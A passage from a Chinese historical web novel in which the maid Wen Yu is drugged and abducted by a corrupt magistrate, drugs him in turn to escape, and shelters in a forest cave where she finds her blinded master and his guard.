有的小丫鬟则兴致冲冲地拿了自己好的刺绣给到嬷嬷,讨好似地笑道:“好嬷嬷,这些就帮帮我卖了吧。”
“瞧你勤快的。”嬷嬷收下,轻点了她三下额头,“照例,四六分。”
“谢谢嬷嬷!”丫鬟开心地谢道。
有勤快的就有爱美的,爱美的小丫鬟们通常则是往嬷嬷手中硬塞了几枚铜钱,撒娇道:“嬷嬷,我想要些脂粉,麻烦嬷嬷帮我带些回来吧。”
嬷嬷看见钱自然欢喜地应下:“好啊!”
等一众人说完她们各样的需求后,嬷嬷又走到温玉的身边问:“温玉,你有什么想带的吗?”
温玉摇摇头,她没什么好卖的,也没有什么想要买的。
向来都是这般低欲低求。
嬷嬷点点头,又问了一圈,看实在没人提需求后,她就挎着菜篮出门买菜去了。
一般府上采买蔬菜和水果什么的都是一周一到两次,而且最好是要挑主君主母不在家的日子最好。
因为就算回来晚了也不用备主子们的饭,只需管这寻常丫鬟仆从们饭就好了。
恰好这天焦郎君去公府上班,军营里来了些新兵,袁氏去训兵,两个人今天一整天都不会回来。
所以这次负责采买的嬷嬷带出去的东西比往日还要多。以至于大早上出去后,很晚才回来,大家到接近午时二刻时才吃上饭。
所幸大家伙要的东西也都带了回来,大家因此也没有什么抵抗情绪,继续欢欢喜喜坐一起吃饭。
吃完饭,大家也都各回房里小小的午休一下。
温玉也照例先去厨房看她的桂花酿一眼,却看到嬷嬷此时还在煮些什么汤之类的东西。
温玉便走上前问道:“嬷嬷你在煮什么?好香啊!”
嬷嬷看起来漫不经心的样子,听到温玉便吓得身形都震了一大跳,然后支支吾吾道:“这…这是提神汤,焦郎君去公府里办差常需的,所以…我是做些给郎君送过去的。”
“噢!怎么做的呀?嬷嬷,我也想学学。”
温玉听起这个瞬间来了兴趣,郎君也是时刻需要办差的,自己学会了也可以给郎君做。
“这…这…这…”
不知怎么地,今天的嬷嬷特别奇怪,说两三句话就冒了些许汗意,眼神还有些飘忽不定。
“嬷嬷,你是今天不舒服吗?要不我替你熬煮一下?”
温玉关怀地问道,顺带也是学门手艺。
“不……不用。”嬷嬷勉强地回拒道,“快…快煮好了。”
“好,那这汤到底是怎么做的呀?嬷嬷。”
温玉继续问道,眼神时刻盯着罐里的汤,似要把它探究给底朝天出来。
嬷嬷见状,赶忙舀了一碗出来给温玉,心虚地笑道:“你……尝尝不就知道了?”
“嬷嬷这是考我呢?”
温玉回敬她一个干净的笑容,然后双手捧起碗,汤很热,她在慢慢地吹着汤面。
而在一旁的嬷嬷眼神却愈发的焦灼。
“嬷嬷,你真没事吗?”
温玉有所察觉,便放下碗,伸手去探嬷嬷的额头:“也不烫啊,为什么冒这么多的虚汗呀?”
“额……”
嬷嬷被她这一摸,虚汗更多,赶忙将她手拿下,紧张说道:“许是外头太阳大,被晒的。你赶紧将这碗喝完,教完你我还要尽快将这汤药送与焦郎君。”
“也是。”
温玉打消了疑心,复又端起碗放至嘴边,小口小口地喝着。
而一旁的嬷嬷则神情高度紧张,心脏跳动的又快又高,眼神也如灼烈的火焰一般聚焦在温玉一滚一动的喉咙下。
她在等待一个结果又同时希望结果不要来临。
时间就这样一分一秒焦灼地流淌。
终于,温玉喝完那碗汤,她刚要说些什么事,手脚开始无力,手中的碗也顺势跌落至地上。
破碎的碗声,温玉根本听不见,眼神也愈加迷离,用尽最后一丝力气囔囔道:“嬷嬷,这……这汤……有……问题。”
说完,她便扑通一声倒在了地上。
*
温玉再次意识恢复意识后,混沌间感受自己好似躺在一艘小船上,随着河流在慢慢流淌。
不对劲,自己怎么会在船上!
想到这,温玉当即立马睁开眼睛,一睁眼却发现自己躺在一个四四方方密封的像厢房的环境下,还时刻小幅度地跌宕。
她这是在马车上了?
她为何会在马车上?
温玉一用脑想,就觉得脑袋昏昏沉沉的,抬手想按一下额头时,却发现自己的双手如何也都抬不起来。
顺势往下看去,原来是手脚都被绳索捆住,视线再往上抬,却刚好撞上一双淫邪的眼神。
是莫云炜,他一脸邪笑,还伸手摸上温玉的脚踝道:
“小娘子!别来无恙呀!”
“!!!”
他这一举动吓得温玉立即将腿缩拢,把自己蜷缩成一个球,身子也紧贴墙壁,恨不得离这人八百里远。
“别怕呀,小娘子,我们马上要成亲了不是?”
莫云炜意犹未尽地缩回手,用着极其得意的眼神打量着他脚下像只宠物一样趴着的温玉。
他看上的东西就从来没有他得不到的。
“你…是如何带走我的?”
刚被莫云炜吓到的温玉此刻也终于恢复了片刻清醒,她迫切地想知道莫云炜是到底是凭借什么手段公然将她从焦府带走的。
他这样做就不怕惹上麻烦吗?
而莫云炜则是摊了摊手,表示很轻松道:“焦府内有个不干净的奴隶,被我碰上,又怕被我揭发,所以——就把你送了出来了。”
“焦府?”
温玉皱着眉头努力回想,她在府中从未将自己当客,一直同丫鬟们同吃同干活,从来没有得罪过人。
就算——
温玉忽而想起午后的那碗有问题的汤药。
看来,那位嬷嬷熬的不一定是什么醒酒汤,而是什么迷魂汤吧。
想到这,温玉就低下了头,有些懊悔,懊悔自己怎么早没发现嬷嬷的异样,怎么就那么贪吃,要喝那一碗汤药。
这下好了,又入魔窟了。
“小娘子,别这么垂头丧气呀,你就要嫁给我了,你不开心吗?”
莫云炜支着下巴好整以暇地问道,语气中还带着一丝戏谑。
这宠物好归好,就是有些不听话。
“你定是使了什么奸计让这嬷嬷被你所用,你这样是笼络不了人心,等袁氏娘子回来,她们一定回来救我的。”
温玉坚定道,不管怎样,她现在背后还有焦郎君和袁氏娘子这两座大山,谅也是被莫云炜绑一会就救了回去。
可……莫云炜的眼神中始终体现着看笑话的意外,他俯下身子,向温玉凑近道:
“看来——你还是不知道我的手段呀。”
“那位给你下药的嬷嬷,我看她从府上出来,背着菜篮,不是在菜场奔波,而是在这什么脂粉店、绣坊里打转时,我就知道我的机会来了。
我先是假装出比绣庄里十倍高的价钱买她手中的那块破布,然后又谎称没带钱,将手里的一个赝品花瓶先放在她手中抵押,让她等我取钱回来时再来交换。
我走的这时段里,又安排一人将她手中这花瓶击碎,然后扬言她手中拿的是个赝品,非但不赔钱,还要拿她去做官。
这样,她就不敢声张,自认这个理亏。
这时,我又上场了,告诉她这个花瓶是价值不菲的东西,这东西你摔碎了根本没人能够鉴别。
就算鉴别出,我也可以假告她偷换了我的花瓶。
无论如何,她都是不能善终。
你说,这样的手段用在你身上,你会不会就心甘情愿地嫁给我了?”
说完,他就将手摸向温玉的脸庞,想知道那张漂亮脸蛋摸起来是怎样一番感觉。
“你……你身为父母官,哪还有父母官的样子?”
温玉听完他的说辞,早就已经是满腔愤懑加鄙夷,头也往角落里别去,万分嫌弃他的手指,嫌弃他的一切。
“你想躲我?”
莫云炜用手钳制住温玉的下巴,迫使她的脸朝他这边看过去。
“告诉你,你这辈子都别想离开我!”
“若是我现在跟你在这路上就拜了天地,你说,你那位道貌岸然的郎君,会不会假公济私地直接将你许配给我?”
“你……你……”
温玉气得胸口剧烈地起伏,骂他的脏话简直都要脱口而出。
可转眼一想,如今已被他困于此,如若还真与他拼命作对,恐怕就得遭殃。
不行,她要想办法拖延,
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拖到袁氏娘子他们来相救。
于是刚刚起伏起的情绪慢慢被温玉强压了回去,咬牙道:
“你要娶我,你家娘子是否同意,她上次都差点害到我,你说我嫁给你,我有什么好处?”
“你在担心这个?”
见她听话,莫云炜稍稍松开了钳制她下巴的力度。
“我已经跟她说好了,她过她的,我们过我们的。”
“那我的户籍呢?我可不想不明不白地就答应你。”温玉继续问道。
“小娘子,你还是上道呀!”莫云炜轻笑道,钳制她下巴的手又换成挑逗的姿势,“这个,我可是县令,没有什么是我帮不到的。”
“那…那…我的家人呢?”
温玉忍住恶心,强装已经被他开出的诱惑所给打动。
“我不想看着我家里人一样受苦,有家人为我能撑腰是最好的。”
“啧!”莫云炜轻啧了一声,他的确是派人去寻温玉的兄长和家人,且不说翻遍整个县都没有这画像上的人,也更加没听说过温玉所说的山头。
好面子的他只能用动人的词藻来获取姑娘的芳心:
“小娘子,你有我为你撑腰就行,旁的都不会有人对你这么好。”
“对我好?你就……就绑着我?”
温玉抬了抬手,白皙的手腕上有被绳子勒后过的刺目的痕迹。
“我…我很疼的。”
她假装示弱道。
“这……”莫云炜用手搭上她的手腕,细细地摩挲了几圈,“这不,是怕小娘子你有后悔?”
“这不是有你在吗?我能往哪里逃?”温玉没好气地挪开了手,“从一开始都是你先骗我在先!”
“哪有?”莫云炜问道,明明是他被她骗得丢尽了颜面,怎么到现在却成了他骗她。
温玉望着他认真道:“首先,你说你喜欢我,要娶我,可你却早早有妻室。
古人说,世上美姻应当一双一对的才好。
其次,你说要找到我兄长时才来娶我,现如今却强绑了我来。
还有,那日,你娘子要来害我,你却一直袖手旁观,还得靠我郎君来救我。
你说我不应该更贴近我郎君些吗?
这话倒真让莫云炜听了有些明面上不好意思,他安抚着温玉的情绪道:
“好好好,小娘子,都是我的错。”
“我发誓,后面一切我都改正好不好?”
温玉复又抬起了手腕:“那就先把我松开。”
莫云炜还有些犹豫,但想着在这马车上,温玉又是个手无缚鸡之力的小姑娘,看起来怎么逃也逃不掉。
倒不如先好好哄着她,这小姑娘就是没见过世面,才会被那些“伪君子”给吸引住,自己再哄个两三日,说不定她就能主动倒贴。
毕竟强扭的瓜不甜,莫云炜对自己的人格魅力还是有十足的把握。
“好好好,我给你松开。”
莫云炜给她松开手上的绳索,又将她脚腕上的绳索,只不过一松开,他的手就开始摸上温玉的脚踝,又顺着势摸至她的小腿腹上。
“你……你做什么?”
温玉紧张地问道,慢慢把脚往后移,她还真怕这莫云炜做出什么冲动的事来。
莫云炜一脸淫邪道:“小娘子,你还不懂这其中情趣,慢慢的,你就习惯了。”
说罢,他的手还要往上摸。
“等……等……莫县令。”温玉赶忙制止他道,“我……我……我渴了,想喝水。”
“好。”莫云炜这才松开了手,从马车上的小箱子里拿出一袋水囊出来,“这是我随行常喝的,你可千万不要嫌弃!”
“怎么会?”
温玉双手诚挚地接过,当着他的面喝了一小口:
“县令喝过的,水很甜。”
“哈哈哈。”莫云炜见样心情颇为大好,又赶忙凑近了几分,“要不亲自尝尝我的?”
“!!!”
这人怎么能讲出如此污秽的话来。
他这么当上官的?
温玉难受得像浑身长满了跳蚤一样。
她还是一忍再忍道:“县令,这太热了,可以打开点车帘透口气吗?”
莫云炜以为温玉害羞着呢,轻声应了句好,然后转身去拉车帘。
而趁这个时候,温玉感觉从口袋里放出一包药来,然后依数全倒进了水囊里。
等莫云炜打开车帘后转身时,温玉就已经走到他面前,双目含情,递着水囊上前,柔声道:
“莫县令,你要不要尝尝我的?”
35. 东州15
男人总是容易沉醉于温柔乡中,莫云炜也不过如此。
看着温玉又一次主动,莫云炜自信地将它全都归功于自己的人格魅力上,认为他已经征服住眼前这个小娘子,所以当然就毫不犹豫地接过温玉递过来的水囊。
还一把哐哐地往嘴里倒,以彰显他男子豪迈直爽的气概。
可等他爽快地喝完后,刚要伸手去抱眼前的小娘子时,却突发地脚步虚浮,头脑发昏。
他只能迷迷瞪瞪地试探着往前走着两步,可身体完全不听使唤,全身发软地靠向墙边。
“温…玉?”
莫云炜用着不可置信的眼神看向温玉,张开嘴想努力说些什么,可话才刚滚到嘴边,他就眼皮昏昏沉沉地一盖,昏晕了过去。
果然,乌合人给的东西就是好用。
温玉一边心底暗暗感叹随身携带那两瓶乌合人给的药,一边赶紧上前两步伸手扶住莫云炜下跌的身子,为的就是不让他跌落的时候发出声响,从而吸引到马车外其他人的注意。
接过后,温玉就顺势将他的身子慢慢靠在马车的背板上面,让他的头倚着桌边,这样他就不会随随便便掉下来。
收拾完后,温玉又慢步走至那扇被他掀开车帘的窗边,小心地往外张望着,打探着局势。
莫云炜本次出门就没带几个仆从,温玉先前见他时,他都是一辆马车随行。
而现在自己和他坐在马车内,想必他那些随行的仆从就坐在马车外,驱赶着马。
想着,温玉头就大胆地更往外面伸了些,看了下马车身后,果然是没有其他人,只有莫云炜和马车前的仆从们。
现下,真是个好逃脱的机会。
不过——
温玉心中又闪过一丝犹疑,她在想她要不要自己逃出去,如若自己逃出去,在这荒郊野岭,什么都不熟悉的地方,会不会很快就被莫云炜又给捉了回去。
骗了他一次两次,下一次肯定更加难糊弄。
可是现在她已经将他迷晕,如果在这段时间内袁氏和焦郎君没及时赶来相救的话,温玉不敢想醒来后的莫云炜会是怎样。
马蹄声和车轮的碾压声嘈杂不停,总是扰乱温玉的思绪,但站在窗台,唯有迎面而来秋爽的清风能吹顺这理不清的思绪。
温玉想了一下,无论如何她都得先逃出去。
像上次下定决心离开陈府一样。
命运攥在他人手上,终究是不可信的。
而唯有在自己的手里,才能多一线生机。
感谢秋风,温玉默念道,随即又打起十二分精神来。
如果她现在就这样从马车上跳到地面肯定会被驱马随行的仆从们发现,说不定还没走两步就又被抓了回去。
于是温玉又打量起周遭,他们本次是行走在一个林间的小道上,与之前来东州的路截然不同,周围全是高大的乔木和矮小的灌木丛,这要是跳下去,树叶都得“抖三抖”。
这里莫云炜应该是走的小路,走官道肯定会被有些人的耳目发现莫云炜偷偷带着个女人出城了。
如果有人用心要查找温玉下落,就应该会很快查到,但走小路就不会了。
不过行走在林间也有好处,树多草多,遮挡物也多。
且——
温玉再伸出半个身子,视线更往前探了些,就发现沿着这条道不远的一个转弯处就有一个凹陷下去的地方。
至于陷下去的地方是什么,她不得而知。
但如果从这个地方跳下去,那些仆从们的视野就会受阻,必然是发现不了温玉的行踪。
刚好趁这个时机,她就可以跑得很远,温玉对自己的体力非常有信心。
摸清楚地形之后,温玉就站好身形,时刻瞧准时机。
无论她跳下去会遇见什么,温玉相信一定都会比现在更有生机。
她内心不断地鼓舞着自己,眼神也坚定地看向前方,等马车驶至转弯处,车的身形也往右拐了一下。
她立马果断地奋力借着窗台往下一跃。
跳到那灌木丛中后,还不等身体疼痛机能反应,温玉就努力翻转着身子,往那凹陷处过去。
所幸那凹陷的地方只是个小坡,温玉就双手抱头,脚也缩了起来,形成一个球状,以最快的速度往下滚去。
不知滚了多久,身上的衣服尽数被锋利的草叶隔开了好几道口子,有些还割到她的肉。
但她依然是咬紧牙关,将疼痛的呻吟声尽量放到最低,继续滚着。
继而她就从坡上滚落了下来,几乎是从一条道滚到另一条道上。
她身上已经已经多处擦伤,外加全身都染了杂草和灰尘,再也不像是贵人府上的丫鬟,而是流落街边的乞丐儿。
见终于滚停了,温玉也只是喘几口气后就翻身站了起来,刚一起来就发现腰杆很痛,脚踝也很痛。
脚踝是从马车上跌倒在地时扭伤的,而这腰伤则是在坡上滚着的时候碾过无数锋利的小石子造就的成果。
于是温玉只能扶着腰,瘸着腿一步一步往前走去。
她不敢停下,她怕一停下,那些坏人就追了上来。
她也不知道该去往哪个方向,但她知道走跟莫云炜马车相反的方向就大致是对的,也是最有希望的。
所以心中悄然升起一股火,是希望之火,亦是坚强之火,支撑着她忍着疼痛一个人坚定地往前走去。
从白天走到黄昏,从小道走到无人处,她还是抱着希望一路前进。
可她不断地走着,天却越来越黑了,尤其是山林间黑得更快,温玉脚下的路,只有天穹上的一轮明月所能照亮。
陷在此中的温玉又加快了一些脚步,黑夜来临,如果还在山林之中,危险性更大,她要赶快走出山路,寻到一家村庄最好。
可是这无垠地黑夜所指向的路也是无穷无尽的,温玉看不见一点人烟,也听不见一点人声。
入目的尽是些横生的草木和飞虫,入耳的也尽是摩挲的树叶,还有——
山林间,狼的嚎叫声。
“咕——”
温玉的肚子也在这时毫不争气地响了起来。
她停住脚步揉了下肚子,五感瞬间在黑夜中无限放大。
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她不仅能听见狼的嚎叫声,还能听见毒蛇吐舌的嘶声,以及蝎子蜘蛛缓缓移动的声音。
害怕渐渐沾了上风。
温玉摇摇头,她知道自己不能再走下去了,不然不是先被人捉住,而就是被狼蛇给咬死,亦或是被吓死。
所以她咽了下口水,双眼开始迅速地转动起来,打量着哪里可以是她的容身之所。
忽而,她抬眼发现她所在的小道上方的那个坡上有个小小的山洞,山洞外还垂挂着许多碧绿的常春藤,很是隐蔽。
于是她便拖着瘸腿往那个山洞走去,山洞的入口很低矮,需要人弯着腰进去,且里面还又黑又深,什么也看不见。
恐怕其中有危险,温玉没有贸然闯进,而是先捡了几颗碎石子,在手中掂量一会儿后即刻往那洞穴深处奋力扔去,石头被撞击在地上发出剧烈的“咚咚咚”声响后,洞穴又响起一阵“呼呼”声和“吱吱声”。
温玉急忙侧身躲着观察,紧接着,一群老鼠模样、扇动着黑色翅膀,眼冒红光的动物一个劲儿地往外飞了出来。
再等了一下后,并未再有其他生物出没。
还好,洞穴里只有蝙蝠,温玉这才微微地松了口气,随后又捡了几颗坚硬的石头和些许树枝步入洞中。
这洞穴乌黑又阴冷,温玉需要靠石头生火来照明和温暖自己。
她拿起两块石头坐在地上一顿用力地摩挲,摩挲好几个轮回后才产生点些许火星,火星溅到树枝的残存的枝叶上,很快就燃烧了起来。
有了些许火光,温玉又开始忙碌地从外搬进许多树枝来,一来让这火光烧得更大些,二来她都堆积在门口做遮掩。
她好不容易找到这么一个落脚处,可不能就轻易地让那些残忍的动物和人找到,所以才将这穴口做成一个“封闭”的样子,从而能迷惑一下它们。
做完这一切后,温玉才在火堆旁歇坐了下来,将身上的鞋袜都褪去。
在这山林间走路,道路崎岖不平又乱石遍地,鞋子都给她磨破了。
鞋子破了,袜子也没好到哪去,湿漉漉的还带着些许血迹。
温玉自怜般地叹口气后就将鞋袜放一旁晾着,明天还得继续赶路呢。
接着,肚子又开始“咕咕咕”地叫了起来。
温玉有些无奈,直接折下树枝上那些残叶放入嘴中咀嚼了起来。
她在陈府总是会三天两头地饿几顿,那时候饿了没办法吃过树皮,吃过土,吃过草。
吃来吃去发现这树上新长的嫩叶才最好吃。
可不知道是不是因为在刺史府里被养得太好了,以至于现在嚼着这叶片,竟有些苦涩的感觉。
眼角不自觉地划过一滴泪珠,她轻轻拂去。
没事的,她能好好照顾自己,她能够坚持到等郎君回来救她的那日。
树枝噼里啪啦地烧着,她就这样环抱住自己看着那生生不息的火光中不停地闪烁,直至熄灭,她之才难抵劳累地睡了下去。
这一夜,竟睡得尤其安稳。
以至于睡到是外面纷扰的人声才惊醒了她。
36. 东州16
“快,给我找!找不到她你们也不用回去了!”
听到这话时,温玉也猛然地从睡梦中惊醒,恍惚间,她还以为是梦魇了。
可当听到脚步滑石和身子拂草的声音时,温玉真正意识到刚才不是梦魇而是现实!
有人来找她了!!
她立马从地上艰难地站起来,然后迅速躲向洞穴门口的一侧。
在这一侧,能够透过树枝的缝隙中看见个青年男子正在林间、草垛里一一仔细地翻找搜寻。
他们速度真快!
温玉视线渐渐变得凝重,当下她的确做好了遮挡,但依然也是“螳螂挡臂”,也不耽误他们发现和闯进来。
眼下,只能希望他们能眼瞎一点,从而能够忽略这个地方。
可,倏地,有一个男子的视线看了过来,还兴奋地喊道:“看,主君,那有个山洞!”
莫云炜发话道:“那你还不赶紧去看看!”
糟糕!
温玉的心瞬间提到嗓子眼上,十分紧张,如若那人真是要凑近一看的话,他就也能透过树枝的缝隙看到此处有人生火的痕迹,然后再往旁的一看,便就能看见温玉的身影。
绝不能坐以待毙!
温玉心想,于是立刻蹲下身捡起一根树枝,如果那人真的发现了她,她就立马将树枝插入他的眼睛中,然后再不顾一切地往前跑。
只要不被捉住,她就还有机会!
瞧那人走得愈来愈近,温玉也握着树枝的手也愈来愈紧,眼神锐利地盯着那人的眼珠。
十米、五米、两米……
温玉心底默念着最后的距离。
可那人走到一米时忽然就停了下来,两只圆钝的眼神微眯起瞧了一眼,然后转身回话道:“主君,那山洞里什么都没有,就一堆树枝,应该是哪个过路的坎柴夫堆放在此地吧?”
莫云炜:“行,那继续去下一个地方搜!”
“好!”
说完,那人的身影便就离开了,温玉也因此无力地靠着墙壁滑坐了下来。
还好,昨夜做的这些工作不是无用功。
温玉大口大口地呼吸着口气,感慨着自己的幸运。
不过经此一遭,温玉也不敢出去,怕他们无功而返时又碰上,她打算在这再等个两三日出去才好。
这样不仅能避开与他们交汇,还很方便温玉继续跑路。
决策好后,温玉就靠着墙壁继续小憩着,因为这里没吃的又没水喝,唯有睡觉才能暂时保存一下体力。
许是昨夜太过劳累,她又睡了很久。
再次惊醒她的是凭空地一阵雷声。
雷声像火药一般炸响,将那厚厚的灰色云层都炸开了一道令人炫目的白光。
该不会是要下雨了吧?
温玉的双唇不由地开合了起来,还顺道用舌头舔舐了一下干涸的唇皮。
想起她也是接近两天未进过一口水,这雨可真所谓是“及时雨”。
为了感谢上天的馈赠,温玉迫不及待地撤开洞穴门口的树枝,趁在大雨即将来临前滚来好几块大石头。
然后将它们堆叠在一起围成一个“井”样,并且在石头的缝隙中都撒满了树枝和草叶,这样蓄水就不会露了。
待一切准备就绪后,又一阵雷的轰鸣,仿佛在提示着雨水即将落下。
温玉也赶忙回到洞穴中,刚回到的那一刻,倾盆大雨就“哗哗”地落了下来。
她赶紧掏出一张较为宽大的叶片接了点小小雨水,然后也大口大口地喝了进去。
别看这雨水下得急又猛,但内底还是甘甜可口,温玉连着喝了很多。
喝得有些饱了后,便又靠着墙小憩着。
虽然这世上大多人都讨厌雨天,但温玉尤其喜欢雨天。
因为那时候雨天一到,陈府上至主君主母,下至丫鬟仆从们都不爱出去,也不爱瞎折腾,各个都会早早歇息。
而每每这个时刻,也是温玉难得的一日稍显平静的时刻。
况且现在听着雨声,喝着雨水,别提有多惬意了。
她就这样静静地靠在墙上,闭目听着老天奏响的一段雅乐。
可听着听着,却陡然从规律的声音听出一声嘈杂。
是脚步声!
温玉又一次惊恐地睁开眼,难道是莫云炜他们又跑回来了?
她再度爬起身来,举起一根树枝站在洞穴口的一侧小心翼翼地张望着。雨幕落得很大,天也是灰蒙蒙的,只能依稀看见两个黑色影子在小道上缓慢移动。
可恶!他们又回来了!
如果这次他们想躲雨的话肯定会毫不犹豫地选择进这个洞穴的!!!
这下该她怎么逃?
温玉的神经又开始极度焦麻起来,视线和呼吸也变得沉重,就连手里的树枝都不堪重负地被她硬生生地给捏断了。
随后,视线便重重地落在那残断的树枝上。
她这才意识到一根树枝的力量太过于脆弱了。
复而,她蹲下身又重新捡起两根稍粗的树枝握在手中。
她想,一根不行的话,那她就两根!
等他们进来时,就一人各戳瞎他们一只眼球!!!
手中多了一件武器,心底也多了一丝底气,温玉紧紧捏着两根树枝,屏息静待着那两人的靠近。
脚步声愈来愈黏重,直至一根树枝被踩断的声音迸发。
那是她留在洞穴门口的树枝。
就趁现在!
温玉猛地从墙后蹿出,握着两根树枝就要往那两人眼睛戳去。
可手还未完全挥下,两根树枝就被对方给反握住,然后对方一少加用力,她就立刻被甩到地面上。
可恶,他们居然这么强,她竟毫无半点胜算。
不过,她才不会放弃的。
两根不行,她就拿一把树枝。
于是她又从地上捧起一堆树枝起来,随后再奋力地往前方一扔。
可这次,对方直接亮出一把剑,硬生生劈断了铺面而来的树枝。
他们还有剑!
那一剑劈断了树枝,也劈断了温玉的神经,她完全被吓得呆滞在原地。
而对方也没打算放过她,下一秒那柄长剑就横架于她的脖颈上。
冰冷的触感刺激着温玉的思绪回笼,她侧眼看向那柄剑,正要哀叹命运多舛时,却透过剑上闪烁的银光看清了执剑者的脸庞。
“凌侍卫!”
温玉激动地喊道,太好了,不是莫云炜他们,而是凌侍卫。
见声音耳熟后的凌侍卫缓慢地收起了长剑,随后从怀里掏出一火折子出来,这才看清眼前人模样。
发丝散乱,满脸脏污,衣服残破,要不是有火光照出温玉本人大致模样,他还真以为是个流浪汉。
在凌侍卫稍稍嫌弃的眼神中温玉却异样欣喜,她今天见到了凌侍卫,那岂不是明天就可以离开这个山沟沟回家啦?
于是她积极地捡起被砍断的树枝,借着凌侍卫手中的一点火光,又架起了篝火。
火焰熊熊燃烧着,照亮了整个山洞。
温玉这才将目光放在凌侍卫搀扶着的另一位男子身上,可视线落下的一瞬间,刚舒展的目光立刻变得迷离了起来,嘴巴也微微颤抖,不可置信地喊出她日思夜想的那个人的名字:
“郎…郎…郎君?”
但被搀扶的张清时依然紧阖着眼睛,半句声音都没有发出,而他那苍白的肌肤在黑色衣服的映衬下显得更加不具生气。
若说温玉现在是流浪汉模样,那张清时便是一副活死人模样。
温玉脑海中忽然闪过一些不好的想法,那些想法瞬间占据了神经,悲伤的劲头一拥而出。
泪珠不知觉地蓄满了眼眶,她捂住嘴悲戚地喊道:“郎君,你…你…你怎么死了啊!”
“住嘴!郎君没死!”
凌侍卫大声呵斥道,张清时才没死,但受了严重的伤,他的心因此还揪着,结果温玉直接一句“郎君死了”大触霉头,他心情更有些不爽,说话也比往日急冲了起来。
“那……那就好。”
听到郎君没死,温玉悲伤的劲头才止住了些,她擦拭掉眼角溢出的泪珠,忧心忡忡地问道:“那郎君是怎么了?我们有办法治好他吗?”
“有水吗?”
凌侍卫没有精力回答她过多的问题,只是淡淡地向她开口要水。
“有有有!”
温玉急忙应道,随后便取来一片叶子,再从她自制的“井水”中盛了一叶水来。
后又立马小心翼翼地递给凌侍卫:“水…水来了。”
凌侍卫接过,然后轻手轻脚地将张清时的身子放在墙边倚靠住,随即往他的
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嘴角里开始缓慢地送些水进去。
但张清时现在是意识不明的,根本进不了多少水,那些水要进入他的嘴里简直像“水滴石穿”那样困难,弄得凌侍卫都有些无措。
见状,温玉便上前大胆地伸手按住郎君的脸颊,迫使他的嘴巴微张,从而使那些水也自然顺畅地被灌了进去。
这种方法还是温玉从陈府那些丫鬟们手里学到的,以前她们想欺辱温玉,就会给温玉吃她们自制的汤饭,如果温玉不肯吃,她们就打算强灌进去,用的也是这种法子。
以至于喂完水之后,凌侍卫也用着难以言说的眼神看着温玉。
温玉刚想解释,张清时却奇妙地在这一刻突然醒来。
他动了动刚被湿润的嘴唇,不过眼睛始终未有睁开。
“郎君,怎么会?这到底是怎么了?”
温玉突觉不对,立刻向凌侍卫质问道。
她内心知道也相信郎君受伤跟凌侍卫无关,但莫名地还是很怪他,怪他身为郎君的贴身侍卫却没有保护好郎君,怪他竟然让郎君受了这么严重的伤!
“郎君被奸人暗算,坏了眼睛。”凌侍卫低着头解释道,他心底也十分懊恼,千算万算没算到他们追查完敌人老窝后,又来了一群敌人的援兵。
那些援兵本与他们势均力敌,可他们身上还带着各式各样的毒药,而郎君便是眼睛被这药给灼伤失明了。
想到这,他自责地往自己胸口上猛猛挥了一拳。
“是我不好!”
“云峰…这是在哪?”
靠在墙上奄奄一息的张郎君总于发出孱弱的声音来。
“郎君,这是在祁塬县的某处山洞内。”凌侍卫闻声赶忙应声道,顺势察看郎君现在的状况,脉象虽还是微弱,但比之前稍微好多了。
看来受得内伤不足以致命,但仍需要几日静养。
“咳咳咳……”张清时说话既吃力又虚弱,“其他弟兄呢?”
他双目失明一刹那,就被敌人一个横踢,踢晕在地后,其他的事情就已经浑然不知了。
“其他……”凌侍卫向来果敢的人说话也犹豫了起来,“其他人都……都献身了。”
“咳咳咳咳咳咳!怎么会?”
张清时震惊地咳得更为严重,胸腔也跟着猛烈颤抖了起来。
“郎君,别太用力。”
温玉不忍郎君难受这才出声打断了两人的谈话。
“温…温玉?”
张清时惊诧道,缓慢地抬眼,可眼前却是一片黑暗,他都怀疑自己幻听了。
可下一秒,他的手就被一双小手给捧起,放在一张细腻柔嫩的脸上,随即又有温热滚烫的感觉。
张清时依稀记得,那是她泪珠带来的感觉。
他缓慢移动拇指替她拂去泪水安抚道:“温玉,我没事。”
闻言,温玉更加止不住泪水,什么叫没事,一双如皎皎明月般的眼睛说没就没,那哪能没事,他不痛吗?他以后的生活和仕途又该如何?
“别因我而伤心了,云峰你也劝劝她。”
张郎君大半个手都沾染了湿意,他知晓温玉又是会哭成个泪人样,但他不会安慰女娘,只能向凌侍卫求助。
凌侍卫其实内心也有触动,弟兄阵亡,郎君还失明,他要不是个坚强男儿,早就像温玉那般哭得死去活来。
但他抽了抽鼻子,略带哭腔道:“别…别哭了,你再哭,郎…郎君会更加不好的。”
“嗯……”
温玉抬眼看了眼郎君,她确实不该比郎君更伤心,她这样郎君内心更难受了怎么办?
于是她依依不舍地放下郎君的手,擦掉红透的眼睛,哽咽道:“好,我不哭了,郎君。”
“嗯,很好。”
张清时努力挤出一个浅浅的笑容,像个大家长一样对孩子们听话的举动表示满意。
而后,他又继续问凌侍卫:“我们是不是被困在此地了。”
“是……”凌侍卫答道,“落败后,弟兄们为掩护我们,便一直抵死相抗,直到我将你彻底带离敌人的视线。
但——这不代表他们不会追杀我们,毕竟郎君你手里还有他们的证据。”
“嗯——”张清时低下头,沉思道,“我将证据交由给你,你带着温玉一同离开此地吧。”
“不!”
“不!”
37. 东州17
两道声音不约而同都对张清时说了拒绝。
温玉紧抿着嘴,倔强摇头道:“温玉才不要离开郎君,温玉想留在这里好好照顾郎君。”
她这一路努力逃出,除了想活以外,最大的期望就是想能再见到郎君,并守护在郎君身边。
可现下好不容易见到一面,却让她在他最脆弱、最需要人照料的时候抛弃他离开,温玉做不到,也坚决不愿意。
“郎君,我也觉得这不是善举。”
凌侍卫同样毅然拒绝道,他倾心护郎君至此,就从未想过要抛弃郎君。
“你…你们……唉!”
张清时微微有些生气,没想到眼前刚还乖顺听话的两人现在却又都开始叛逆了起来。
他知道他们都对自己无法狠下心割舍,但如若大家都待在这里,恐怕没多久会被敌方探查来的追兵一锅全端了。
活他们两人还是活自己一个,张清时想的很清楚,于是他难得以主子的身份施压他们:
“云峰,温玉,这是命令,我说过不听我话的人,我都会赶出府去。你们难道还要再违抗命令吗?”
“郎君!”凌侍卫一边摇头,一边语气决然道,“我是听郎君的话,但我的职责就是守护郎君,守护郎君比听郎君的话更为重要。”
温玉也频频点头附和道:“对,守护郎君比听郎君的话更为重要。”
“咳咳咳!”
张清时扶额,怎么一时之间遇上两个倔脾气的人,于是他苦口婆心相劝道:“你们带着我,行动必然缓慢,说不定都人还未到京城,就在路上被一网打尽了。”
“再者,守护京都,守护黎明百姓难道不比我更重要吗?”
